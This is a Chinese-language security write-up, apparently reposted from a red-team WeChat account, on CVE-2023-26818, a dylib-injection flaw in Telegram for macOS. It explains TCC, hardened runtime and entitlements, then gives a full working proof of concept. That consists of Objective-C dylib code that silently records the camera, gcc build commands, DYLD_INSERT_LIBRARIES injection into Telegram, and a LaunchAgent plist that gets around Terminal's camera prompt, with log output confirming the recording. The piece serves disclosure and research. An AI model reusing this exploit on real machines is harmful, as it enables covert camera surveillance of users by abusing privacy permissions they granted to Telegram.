前言
本文将重点讨论macOS上Telegram应用程序存在的一个弱点,即允许注入动态库(Dylib)。文章将涵盖macOS的几个基本概念,以提供相关背景知识,帮助读者了解识别该弱点和编写利用工具的过程,通过已经授予Telegram应用程序的权限,实现本地权限提升并获得对摄像头的访问。
值得注意的是,即使在macOS上,即使是Root用户,也没有权限访问麦克风或录制屏幕等操作,除非应用程序在初始访问时获得用户的直接同意(或通过系统偏好设置中的用户界面手动打开权限)。
我们将介绍macOS的几个基本概念,然后继续查看如何识别应用程序中的弱点。在此之后,我们将编写Dylib,该Dylib将用于利用工具,以从摄像头进行录制并将其保存到文件中。此外,我们还将看到如何通过使用LaunchAgent绕过终端的沙盒机制。最终实现本地权限提升,使攻击者能够通过访问受隐私限制的区域获得更多权限。
自研究开始以来的时间线如下:
2023年2月3日:发现漏洞
2023年2月3日至2023年3月16日:与[email protected]的一系列通信尚未得到解决
2023年2月10日:向MITRE报告漏洞
2023年3月26日:向VINCE报告以获得与Telegram协调漏洞修复和披露的帮助
2023年4月5日:CVE-2023-26818 - 获得用于漏洞披露的“保留”CVE
2023年5月15日:与VINCE的宽限期到期,漏洞将被披露。
背景
macOS中的透明度、同意和控制(TCC)是一种机制,用于管理对某些被定义为“受隐私保护”的区域的访问。通过从用户那里收集同意或通过检测用户意图进行特定操作,可以启用访问这些区域的授权。
授权
授权是为特定二进制文件授予的权限,以获得特定的特权。例如,为了让一个应用程序访问麦克风,必须使用相应的授权对其进行签名,并在应用程序初始访问麦克风时获得用户的许可。
关于授权的更多信息可以在苹果的网站上找到:https://developer.apple.com/documentation/bundleresources/entitlements
强化运行时
据苹果开发人员介绍,强化运行时通过防止某些类型的利用,如代码注入、动态链接库(DLL)劫持和进程内存空间篡改,以及系统完整性保护(SIP),来保护软件的运行时完整性。
这意味着强化运行时机制为已定义为“强化”的应用程序增加了安全性。在iOS中,为了将应用程序上传到App Store,必须使用强化运行时授权对其进行签名。然而,这个要求似乎在macOS上不存在。
强化运行时机制添加了一套安全规则,保护二进制文件免受各种行为的影响,包括代码注入、Dylib注入、从另一个进程访问进程内存等。开发人员仍然可以使用某些授权来减少某些安全措施,以在特定区域降低安全性。
例如,使用授权com.apple.security.cs.allow-dyld-environment-variables,二进制文件可以通过环境变量接受Dylib注入。但只要二进制文件是经过强化的,我们将无法注入由不同团队签名的库。因此,只有同时使用授权com.apple.security.cs.disable-library-validation,我们才能加载由不同开发人员签名的库。由于后者取消了针对软件的Dylib的签名验证,我们可以加载任何库。后者在允许开发和使用第三方插件的软件中非常有用。
DYLD_INSERT_LIBRARIES
这是一个环境变量,当使用时,它包含在应用程序启动之前将要加载的库列表。
1.我们可以在以下几种情况下使用环境变量进行注入:
2.当应用程序未定义为“强化运行时”,因此允许使用环境变量注入Dylib。
当二进制文件经过强化运行时,并且此外,程序员发布时使用了适当的授权:
“Disable-library-validation”允许在没有检查文件和库签名的情况下,在二进制文件上运行任何Dylib。通常,此权限存在于允许使用社区编写的插件的程序中。
com.apple.security.cs.allow-dyld-environment-variables放宽了强化运行时的限制,并允许使用DYLD_INSERT_LIBRARIES注入库。
如果我们继续从AppStore下载Telegram应用程序,我们可以使用“codesign”命令检查其签名和授权。
我们可以从以“Code Directory”开头的行中看到文件未经强化,我们将查看被定义为“none”的标志。在强化运行时的情况下,我们可以在那里看到强化标志。
换句话说,似乎Telegram没有对上传到macOS App Store的应用程序进行强化。因此,我们可以直接使用DYLD_INSERT_LIBRARIES,而不需要关注其上签名的授权。(请注意,授权列表以XML形式显示在上面codesign命令的输出的末尾。)
创建Dylib
为了注入一个Dylib,我们首先需要使用Objective-C创建一个Dylib。在下一步中,我们将编写一个Dylib,用于捕获摄像头的视频并将录制保存到磁盘上。
我们将创建一个名为telegram.m的新文件:
#import <Foundation/Foundation.h>
attribute((constructor))
static void telegram(int argc, const char **argv) {
NSLog(@"[+] Dynamic library loaded into %@", argv[0]);
}
我们将从在屏幕上打印一条消息开始,以便我们可以验证我们是否已成功加载 dylib。请注意,attribute((constructor))标记将在应用程序的主要功能之前运行的功能,我们将 dylib(在本例中为 Telegram)注入其中。
我们将使用 gcc 编译库:
gcc -dynamiclib -framework Foundation telegram.m -o telegram.dylib
请注意,我们需要将 Foundation 框架添加到 gcc 命令中,以便在导入库并使用它(NSLog)后编译文件。
现在,我们可以使用环境变量加载已编译的库DYLD_INSERT_LIBRARIES:
DYLD_INSERT_LIBRARIES=telegram.dylib /Applications/Telegram.app/Contents/MacOS/Telegram
当我们看到以下输出时,似乎我们成功加载了库:
[+] Dynamic library loaded into /Applications/Telegram.app/Contents/MacOS/Telegram
请注意,如果我们尝试在另一个 hardedend 二进制文件中使用DYLD_INSERT_LIBRARIES并且没有匹配的权利,我们将无法加载库,也不会看到上面的输出。
例如,让我们使用 Safari 并尝试加载库:
DYLD_INSERT_LIBRARIES=telegram.dylib /Applications/Safari.app/Contents/MacOS/Safari
请注意,在这种情况下,我们在屏幕上看不到提示,因为二进制文件已被加固(我们可以看到它是使用代码设计进行运行时加固的)。现在我们已经成功加载了dylib,我们将继续编写代码。让我们回到之前创建的 telegram.m 文件,编写代码从摄像头捕获 3 秒的视频并将录制的内容保存到文件中。
完整的代码可以在这里找到:
@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;
- (void)startRecording;
- (void)stopRecording;
@end
@implementation VideoRecorder
- (instancetype)init {
self = [super init];
if (self) {
[self setupCaptureSession];
}
return self;
}
- (void)setupCaptureSession {
self.captureSession = [[AVCaptureSession alloc] init];
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
NSError *error;
self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];
if (error) {
NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
return;
}
if ([self.captureSession canAddInput:self.videoDeviceInput]) {
[self.captureSession addInput:self.videoDeviceInput];
}
self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
if ([self.captureSession canAddOutput:self.movieFileOutput]) {
[self.captureSession addOutput:self.movieFileOutput];
}
}
- (void)startRecording {
[self.captureSession startRunning];
NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.mov"];
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
[self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
NSLog(@"Recording started");
}
- (void)stopRecording {
[self.movieFileOutput stopRecording];
[self.captureSession stopRunning];
NSLog(@"Recording stopped");
}
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray<AVCaptureConnection *> *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
[videoRecorder startRecording];
[NSThread sleepForTimeInterval:3.0];
[videoRecorder stopRecording];
[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}
我们将再次使用 gcc 对其进行编译:
$ gcc -dynamiclib -framework Foundation -framework AVFoundation telegram.m -o telegram.dylib
现在,如果我们像以前一样获取 Dylib 并使用参数DYLD_INSERT_LIBRARIES,并将 Dylib 注入 Telegram,我们将遇到以下消息:
"Terminal" would like to access the camera.
终端应用程序似乎正在尝试访问视频而不是 Telegram!那么,这里到底发生了什么?
在 macOS 中,当我们通过终端运行应用程序时,应用程序会继承其沙盒配置文件。因此,在这个阶段,Terminal 应用程序似乎实际上限制了对相机的访问。
要绕过沙箱,我们需要以不同的方式运行应用程序。除了使用终端,我们还可以使用 LaunchAgents 机制,它允许我们在后台运行进程并安排它们的执行。
com.telegram.launcher.plist要创建一个新的 LaunchAgent,我们将在该目录下创建一个名为的新文件~/Library/LaunchAgents。我们将 LaunchAgent 定义为 XML 并配置DYLD_INSERT_LIBRARIES如下:
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.telegram.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/telegram.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
</array>
<key>StandardOutPath</key>
<string>/tmp/telegram.log</string>
<key>StandardErrorPath</key>
<string>/tmp/telegram.log</string>
</dict>
</plist>
现在,我们将运行 LaunchAgent:
launchctl load com.telegram.launcher.plist
由于 Telegram 是使用 Sandbox 配置文件定义的,因此文件将保存在与 Sandbox 配置文件相关的路径中。如果我们查看 ,我们可以看到日志和记录的保存位置/tmp/telegram.logs。
$ cat /tmp/telegram.log
2023-05-15 12:28:49.691 Telegram[84946:735528] Recording started
2023-05-15 12:28:52.808 Telegram[84946:735528] Recording stopped
2023-05-15 12:28:52.814 Telegram[84946:735528] Recording finished successfully.
Saved to /var/folders/0k/f6bdvnb52kb1wqkq2qgd07nh00mkw1/T/ru.keepcoder.Telegram/recording.mov
看来我们注入Dylib成功了,录音文件也保存成功了。这意味着我们能够通过注入 Dylib 并记录用户来使用授予 Telegram 的权限。需要注意的是,即使我们拥有系统的root权限,我们仍然会被限制打开麦克风和摄像头。因此,利用第三方应用程序的漏洞可以授予我们额外的权限,让我们绕过苹果的隐私机制。
总而言之,我们了解了 macOS 中 TCC 机制的概念及其对用户隐私的重要性。我们介绍了包括强化运行时、权利和 Dylib 在内的基本概念。我们在 Objective-C 中创建了一个新的 Dylib 文件,该文件从摄像头捕获 3 秒的视频并将记录保存到一个文件中。我们通过定义一个 LaunchAgent 来绕过终端的 Sandbox 限制。我们看到该文件保存在与 Telegram 沙盒配置文件相对的位置,我们通过查看作为 Dylib 开发过程的一部分创建的日志来定位它。
原文始发于微信公众号(红队笔记录):CVE-2023-26818 - 在 macOS 中使用 Telegram 绕过 TCC
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论